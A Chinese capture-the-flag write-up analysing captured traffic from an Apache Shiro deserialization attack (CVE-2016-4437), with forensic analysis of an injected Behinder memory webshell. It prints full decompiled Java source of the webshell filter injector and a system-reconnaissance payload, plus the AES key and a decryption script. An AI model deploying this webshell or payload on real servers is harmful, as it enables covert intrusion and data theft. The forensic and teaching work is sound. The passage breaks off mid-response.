2026软件系统安全赛 - 流量分析traffic_hunt - WriteUp 第一层: Apache Shiro CVE-2016-4437 打开pcapng抓包文件，发现大部分都是HTTP。尝试过滤所有HTTP请求： _ws.col.protocol == "HTTP" 发现前面都是GET扫描。后面有几个POST传递到了相同的路径/favicondemo.ico，打开发现携带Payload： POST /favicondemo.ico HTTP/1.1 ... eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr... 尝试直接Base64解密，发现疑似加密了，无法解密。推测前面还有一部分挂马之类的处理。 尝试过滤所有POST请求： http.request.method == "POST" 发现第5009个HTTP流POST向了/，打开发现： GET / HTTP/1.1 Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL ... HTTP/1.1 302 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon, 05-Jan-2026 05:54:56 GMT Location: http://10.1.33.69:8080/login ... 等等一系列请求。 根据其JSESSIONID可知是Java后端，根据rememberMe=deleteMe可知这是在尝试利用Apache Shiro的反序列化漏洞（CVE-2016-4437）。前面部分在进行爆破，尝试得到其AES加密的Key。往后翻，可找到： GET / HTTP/1.1 Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X ... 服务端返回： HTTP/1.1 302 Location: http://10.1.33.69:8080/login ... 没有再Set-Cookie，表明这里已经成功碰撞出了AES密钥。往后还有 GET / HTTP/1.1 Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9p Authorization: Basic d2hvYW1p ... 服务端返回： HTTP/1.1 200 ... <div>$$$cm9vdAo=$$$</div> 对cm9vdAo=进行Base64解密，可得到：root，对Authorization头里的d2hvYW1p解密，可得到whoami，发现这里已经实现了RCE。 随后分别执行并返回了： pwd / ls -la total 21844 drwxr-xr-x 1 root root 4096 Jan 6 03:43 . drwxr-xr-x 1 root root 4096 Jan 6 03:43 .. -rwxr-xr-x 1 root root 0 Jan 6 03:43 .dockerenv drwxr-xr-x 1 root root 4096 Oct 21 2016 bin drwxr-xr-x 2 root root 4096 Sep 12 2016 boot drwxr-xr-x 5 root root 340 Jan 6 03:43 dev drwxr-xr-x 1 root root 4096 Jan 6 03:43 etc drwxr-xr-x 2 root root 4096 Sep 12 2016 home drwxr-xr-x 1 root root 4096 Oct 31 2016 lib drwxr-xr-x 2 root root 4096 Oct 20 2016 lib64 drwxr-xr-x 2 root root 4096 Oct 20 2016 media drwxr-xr-x 2 root root 4096 Oct 20 2016 mnt drwxr-xr-x 2 root root 4096 Oct 20 2016 opt dr-xr-xr-x 167 root root 0 Jan 6 03:43 proc drwx------ 2 root root 4096 Oct 20 2016 root drwxr-xr-x 3 root root 4096 Oct 20 2016 run drwxr-xr-x 2 root root 4096 Oct 20 2016 sbin -rw-r--r-- 1 root root 22290368 Dec 19 2019 shirodemo-1.0-SNAPSHOT.jar drwxr-xr-x 2 root root 4096 Oct 20 2016 srv dr-xr-xr-x 13 root root 0 Jan 6 03:43 sys drwxrwxrwt 1 root root 4096 Jan 6 03:43 tmp drwxr-xr-x 1 root root 4096 Oct 31 2016 usr drwxr-xr-x 1 root root 4096 Oct 31 2016 var w 05:56:48 up 9 days, 2:03, 0 users, load average: 1.44, 0.84, 0.33 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 发现并没有什么有用的信息。 之后发送了一个： POST / HTTP/1.1 ... Cookie: rememberMe=YoANb79EEs8RT9LYVMfOgU1OPqUGfQkiNLKLem...J1I/ASq9A== p: HWmc2TLDoihdlr0N path: /favicondemo.ico ... user=yv66vgAAADQB5...GCQ%3D%3D 服务端返回了： HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Date: Tue, 06 Jan 2026 05:57:43 GMT Connection: close ->|Success|<- 之后就没有类似的包了，推测是挂了个马。 第二层: 冰蝎 WebShell 内存马 对上面POST请求体的user参数直接进行Base64解密可发现是CAFEBABE开头的Java类，导出后尝试使用Jadx打开，可得到： {collapse} {collapse-item label="代码部分 - 点击展开"} package com.summersec.x; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.math.BigInteger; import java.security.InvalidKeyException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.EnumSet; import java.util.HashMap; import java.util.Map; import javax.crypto.Cipher; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.SecretKeySpec; import javax.servlet.DispatcherType; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.FilterRegistration; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletRequestWrapper; import javax.servlet.ServletResponse; import javax.servlet.ServletResponseWrapper; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import org.apache.catalina.LifecycleState; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.ResponseFacade; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.util.LifecycleBase; /* loaded from: download.class */ public final class BehinderFilter extends ClassLoader implements Filter {     public HttpServletRequest request;     public HttpServletResponse response;     public String cs;     public String Pwd;     public String path;     public BehinderFilter() {         this.request = null;         this.response = null;         this.cs = "UTF-8";         this.Pwd = "eac9fa38330a7535";         this.path = "/favicondemo.ico";     }     public BehinderFilter(ClassLoader c) {         super(c);         this.request = null;         this.response = null;         this.cs = "UTF-8";         this.Pwd = "eac9fa38330a7535";         this.path = "/favicondemo.ico";     }     public Class g(byte[] b) {         return super.defineClass(b, 0, b.length);     }     public static String md5(String s) throws NoSuchAlgorithmException {         String ret = null;         try {             MessageDigest m = MessageDigest.getInstance("MD5");             m.update(s.getBytes(), 0, s.length());             ret = new BigInteger(1, m.digest()).toString(16).substring(0, 16);         } catch (Exception e) {         }         return ret;     }     public boolean equals(Object obj) throws NoSuchFieldException, ClassNotFoundException {         parseObj(obj);         this.Pwd = md5(this.request.getHeader("p"));         this.path = this.request.getHeader("path");         StringBuffer output = new StringBuffer();         try {             this.response.setContentType("text/html");             this.request.setCharacterEncoding(this.cs);             this.response.setCharacterEncoding(this.cs);             output.append(addFilter());         } catch (Exception var7) {             output.append("ERROR:// " + var7.toString());         }         try {             this.response.getWriter().print("->|" + output.toString() + "|<-");             this.response.getWriter().flush();             this.response.getWriter().close();             return true;         } catch (Exception e) {             return true;         }     }     public void parseObj(Object obj) throws NoSuchFieldException, ClassNotFoundException {         if (obj.getClass().isArray()) {             Object[] data = (Object[]) obj;             this.request = (HttpServletRequest) data[0];             this.response = (HttpServletResponse) data[1];             return;         }         try {             Class clazz = Class.forName("javax.servlet.jsp.PageContext");             this.request = (HttpServletRequest) clazz.getDeclaredMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);             this.response = (HttpServletResponse) clazz.getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);         } catch (Exception e) {             if (obj instanceof HttpServletRequest) {                 this.request = (HttpServletRequest) obj;                 try {                     Field req = this.request.getClass().getDeclaredField("request");                     req.setAccessible(true);                     HttpServletRequest request2 = (HttpServletRequest) req.get(this.request);                     Field resp = request2.getClass().getDeclaredField("response");                     resp.setAccessible(true);                     this.response = (HttpServletResponse) resp.get(request2);                 } catch (Exception e2) {                     try {                         this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);                     } catch (Exception e3) {                     }                 }             }         }     }     public String addFilter() throws Exception {         Class filterMap;         ServletContext servletContext = this.request.getServletContext();         String filterName = this.path;         String url = this.path;         if (servletContext.getFilterRegistration(filterName) == null) {             StandardContext standardContext = null;             Field stateField = null;             try {                 try {                     Field contextField = servletContext.getClass().getDeclaredField("context");                     contextField.setAccessible(true);                     ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext);                     Field contextField2 = applicationContext.getClass().getDeclaredField("context");                     contextField2.setAccessible(true);                     standardContext = (StandardContext) contextField2.get(applicationContext);                     stateField = LifecycleBase.class.getDeclaredField("state");                     stateField.setAccessible(true);                     stateField.set(standardContext, LifecycleState.STARTING_PREP);                     FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, this);                     filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});                     Method filterStartMethod = StandardContext.class.getMethod("filterStart", new Class[0]);                     filterStartMethod.setAccessible(true);                     filterStartMethod.invoke(standardContext, (Object[]) null);                     stateField.set(standardContext, LifecycleState.STARTED);                     try {                         filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");                     } catch (Exception e) {                         filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");                     }                     Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps", new Class[0]);                     Object[] filterMaps = (Object[]) findFilterMaps.invoke(standardContext, new Object[0]);                     for (int i = 0; i < filterMaps.length; i++) {                         Object filterMapObj = filterMaps[i];                         Method findFilterMaps2 = filterMap.getMethod("getFilterName", new Class[0]);                         String name = (String) findFilterMaps2.invoke(filterMapObj, new Object[0]);                         if (name.equalsIgnoreCase(filterName)) {                             filterMaps[i] = filterMaps[0];                             filterMaps[0] = filterMapObj;                         }                     }                     stateField.set(standardContext, LifecycleState.STARTED);                     return "Success";                 } catch (Exception var22) {                     String var11 = var22.getMessage();                     stateField.set(standardContext, LifecycleState.STARTED);                     return var11;                 }             } catch (Throwable th) {                 stateField.set(standardContext, LifecycleState.STARTED);                 throw th;             }         }         return "Filter already exists";     }     /* JADX WARN: Multi-variable type inference failed */     public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IllegalAccessException, NoSuchPaddingException, ServletException, NoSuchMethodException, NoSuchAlgorithmException, SecurityException, InvalidKeyException, IOException, IllegalArgumentException, InvocationTargetException {         HttpSession session = ((HttpServletRequest) req).getSession();         ServletRequest servletRequestInvoke = req;         ServletResponse servletResponseInvoke = resp;         if (!(servletRequestInvoke instanceof RequestFacade)) {             try {                 Method getRequest = ServletRequestWrapper.class.getMethod("getRequest", new Class[0]);                 servletRequestInvoke = getRequest.invoke(this.request, new Object[0]);                 while (!(servletRequestInvoke instanceof RequestFacade)) {                     servletRequestInvoke = getRequest.invoke(servletRequestInvoke, new Object[0]);                 }             } catch (Exception e) {             }         }         try {             if (!(servletResponseInvoke instanceof ResponseFacade)) {                 Method getResponse = ServletResponseWrapper.class.getMethod("getResponse", new Class[0]);                 servletResponseInvoke = getResponse.invoke(this.response, new Object[0]);                 while (!(servletResponseInvoke instanceof ResponseFacade)) {                     servletResponseInvoke = getResponse.invoke(servletResponseInvoke, new Object[0]);                 }             }         } catch (Exception e2) {         }         Map obj = new HashMap();         obj.put("request", servletRequestInvoke);         obj.put("response", servletResponseInvoke);         obj.put("session", session);         try {             session.putValue("u", this.Pwd);             Cipher c = Cipher.getInstance("AES");             c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES"));             new BehinderFilter(getClass().getClassLoader()).g(c.doFinal(base64Decode(req.getReader().readLine()))).newInstance().equals(obj);         } catch (Exception var7) {             var7.printStackTrace();         }     }     public byte[] base64Decode(String str) throws Exception {         try {             Class clazz = Class.forName("sun.misc.BASE64Decoder");             return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);         } catch (Exception e) {             Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);         }     }     public void init(FilterConfig filterConfig) throws ServletException {     }     public void destroy() {     } } {/collapse-item} {/collapse} 发现是个冰蝎Behinder WebShell。分析可知它会将请求内容和返回值通过AES加密/解密，同时若请求头中携带p，就将p的内容md5加密之后取前16位作为AES密钥。 根据上面的请求内容可知p: HWmc2TLDoihdlr0N，md5加密得到1f2c8075acd3d118674e99f8e61b9596，取前16位即1f2c8075acd3d118就是AES密码。 同时，设置了/favicondemo.ico作为C2通信地址，这也就说明之前看到的下面的这个URL的POST数据是这里通信的记录。 接着打开之前找到的POST抓包，发现第40552个HTTP Stream内包含大量往返。 编写一个Python脚本尝试以密钥1f2c8075acd3d118解密其中第1个请求的Payload： import Crypto.Cipher from Crypto.Cipher import AES import base64 def decrypt_behinder(data, key_str): key = key_str.encode('utf-8') raw_data = base64.b64decode(data) cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(raw_data) # 去除 PKCS5Padding padding_len = decrypted[-1] return decrypted[:-padding_len] key = "1f2c8075acd3d118" body = "qjYfBvYIRKQ...ciIgehs=" data=decrypt_behinder(body, key) print(data) with open(f"payload2.bin", "wb") as file: file.write(data) 发现开头CAFEBABE是Java Class的文件头。用Jadx打开： {collapse} {collapse-item label="代码部分 - 点击展开"} 内容很长，不想看可以折叠 package net.qmrqiui; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.LinkedHashMap; import java.util.Map; import java.util.Random; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: Echo.java */ /* loaded from: payload-favicondemo.ico.class */ public class Fmdrfajtrr { public static String content; public static String payloadBody; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Fmdrfajtrr() { content = ""; content += "1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new LinkedHashMap<>(); try { try { fillContext(obj); result.put("status", "success"); result.put("msg", content); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { e.printStackTrace(); return true; } } catch (Exception e2) { result.put("msg", e2.getMessage()); result.put("status", "success"); try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { e3.printStackTrace(); return true; } } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { e4.printStackTrace(); } throw th; } } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key); if (encode) { value = base64encode(value.getBytes()); } sb.append(value); sb.append("\","); } if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); } sb.append("}"); return sb.toString(); } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} 发现只是返回一串1oMRO2dvZFDzLDMX8h...mqNGvJnB3v数据并base64加密。继续解密回包，得到： {"status":"c3VjY2Vzcw==","msg":"MW9NUk8yZHZaRkR6TERNWDhoTmlZQmgycXpCdlN6U2kxRWFEMnZDTU03UThreHF4clgwODVKbHFGcnQ0MHFrdTZSQ1IwRDBKRjN0UGM1ZllVV1c1T3AwWVA5aExwRzhNUGxndE9wTVliZERIMWlHbXVXTzc1STNYVk85ZXZjeXFoYjE5U2szRXQ5OXdrS2w1ZnNZQVdaS0VvZkptc2lzN1Z2MnVDUndHYnNFNkx2cG1xTkd2Sm5CM3Y="} msg字段Base64解密得到：1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v，证明猜想正确。 接着继续解密并逆向第二个请求： {collapse} {collapse-item label="代码部分 - 点击展开"} 内容很长，不想看可以折叠 package org.arkpoti.qegfs; import java.io.File; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.Inet4Address; import java.net.InetAddress; import java.net.NetworkInterface; import java.net.SocketException; import java.util.Enumeration; import java.util.HashMap; import java.util.Map; import java.util.Properties; import java.util.Random; import java.util.Set; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: BasicInfo.java */ /* loaded from: payload-favicondemo(2).ico.class */ public class Huhmocmx { public static String whatever; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Huhmocmx() { whatever = ""; whatever += "nrUlBDIWY47Voq6K0Ro3FKVOpcOgruIO6bGpwEV5tlFcaaUoHwS2bwC1fwgrXuOLNdQIFovDsRYeeoKSIJAgcfLk3PaESDGIkdJTGGMuoc9bXnBzFry0xgmVYy8gHAKaQFUB0MpL39iuIgGUqA3VdLFOQTuLL83nO2jM5E5molVy30DbTUSYVuJryWB0l7nBKIzDn8axk7wPmDyQ6NXiDT68y3aWEWiwI6hnv2sJZwhdIABULpbv0U3C0ble2IrQjKbba5YkdEig5PzTa1oGYgW9oJSyYvtAeABtnzcY6UmgPYRHs37GWJdPKRctwReHJ3SmLYMqeJyyCDp4mURvctnDgfakpjGxmrvTpGYex8mtsogYatwG3yHso81lLM0jFfYYe3QY7Qywg6SL5GgP9p5Ry2ZZ1ksOfxSguSw3KeIjCV7RaGoZyO5YiC8zWWoLAfERhdKlMGixQv6DrR1LNuI0UdJTRWjEtZ0OEFtiG5AXxaxEtxfxUcg0HBJqxfs5aeCurRoGbg3c5M1TaTxFnDx2tnibB9XyS6FGzmOibZBGV8SJo2vf3MuUXwXrI3w8hWsLu4oELUljNSUGhwO5X1gUdDL4XMk0j1dlTIbcjyYnwwAKF9tP3Hlq6ryo9SIbUkJ7gYFl5V09WKjPfZm65qnHGROfrd5n2d7hePLJ0GyD867DHO9K4U3NAbIgKQovDlFSsmjMAcE1jjeAuMl90xvpHeRZucgwZEzZdJb3e4wyufhmXkJy"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new HashMap<>(); try { fillContext(obj); StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>"); Map<String, String> env = System.getenv(); for (String name : env.keySet()) { basicInfo.append(name + "=" + env.get(name) + "<br/>"); } basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>"); Properties props = System.getProperties(); Set<Map.Entry<Object, Object>> entrySet = props.entrySet(); for (Map.Entry<Object, Object> entry : entrySet) { basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>"); } String currentPath = new File("").getAbsolutePath(); String driveList = ""; File[] roots = File.listRoots(); for (File f : roots) { driveList = driveList + f.getPath() + ";"; } String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch"); Map<String, String> entity = new HashMap<>(); entity.put("basicInfo", basicInfo.toString()); entity.put("currentPath", currentPath); entity.put("driveList", driveList); entity.put("osInfo", osInfo); entity.put("arch", System.getProperty("os.arch")); entity.put("localIp", getInnerIp()); result.put("status", "success"); result.put("msg", buildJson(entity, true)); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { return true; } } catch (Exception e2) { try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { return true; } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { } throw th; } } private String getInnerIp() throws SocketException { String ips = ""; try { Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces(); while (netInterfaces.hasMoreElements()) { NetworkInterface netInterface = netInterfaces.nextElement(); Enumeration<InetAddress> addresses = netInterface.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress ip = addresses.nextElement(); if (ip != null && (ip instanceof Inet4Address)) { ips = ips + ip.getHostAddress() + " "; } } } } catch (Exception e) { } return ips.replace("127.0.0.1", "").trim(); } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key).toString(); if (encode) { if (version.compareTo("1.9") >= 0) { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); value = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("\n", "").replace("\r", ""); } } sb.append(value); sb.append("\","); } sb.setLength(sb.length() - 1); sb.append("}"); return sb.toString(); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} 发现是读取系统信息，返回值： {"msg":"eyJvc0luZm8iOiJUR2x1ZFhnMkxqZ3VNQzA0T0MxblpXNWxjbWxqWVcxa05qUT0iLCJkcml2ZUxpc3QiOiJMenM9IiwibG9jYWxJcCI6Ik1UY3lMakU0TGpBdU1nPT0iLCJjdXJyZW50UGF0aCI6Ikx3PT0iLCJhcmNoIjoiWVcxa05qUT0iLCJiYXNpY0luZm8iOiJQR0p5THo0OFptOXVkQ0J6YVhwbFBUSWdZMjlzYjNJOWNtVmtQdWVPcitXaWcrV1BtT21IanpvOEwyWnZiblErUEdKeUx6NVFRVlJJUFM5MWMzSXZiRzlqWVd3dmMySnBiam92ZFhOeUwyeHZZMkZzTDJKcGJqb3ZkWE55TDNOaWFXNDZMM1Z6Y2k5aWFXNDZMM05pYVc0NkwySnBianhpY2k4K1NFOVRWRTVCVFVVOU1EazNNRFUyWVRnek9Ea3hQR0p5THo1S1FWWkJYMFJGUWtsQlRsOVdSVkpUU1U5T1BUaDFNVEF5TFdJeE5DNHhMVEYrWW5Cdk9Dc3hQR0p5THo1S1FWWkJYMGhQVFVVOUwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpUeGljaTgrUTBGZlEwVlNWRWxHU1VOQlZFVlRYMHBCVmtGZlZrVlNVMGxQVGoweU1ERTBNRE15TkR4aWNpOCtTa0ZXUVY5V1JWSlRTVTlPUFRoMU1UQXlQR0p5THo1TVFVNUhQVU11VlZSR0xUZzhZbkl2UGtoUFRVVTlMM0p2YjNROFluSXZQanhpY2k4K1BHWnZiblFnYzJsNlpUMHlJR052Ykc5eVBYSmxaRDVLVWtYbnM3dm51NS9sc1o3bWdLYzZQQzltYjI1MFBqeGljaTgrYW1GMllTNXlkVzUwYVcxbExtNWhiV1VnUFNCUGNHVnVTa1JMSUZKMWJuUnBiV1VnUlc1MmFYSnZibTFsYm5ROFluSXZQbXBoZG1FdWNISnZkRzlqYjJ3dWFHRnVaR3hsY2k1d2EyZHpJRDBnYjNKbkxuTndjbWx1WjJaeVlXMWxkMjl5YXk1aWIyOTBMbXh2WVdSbGNqe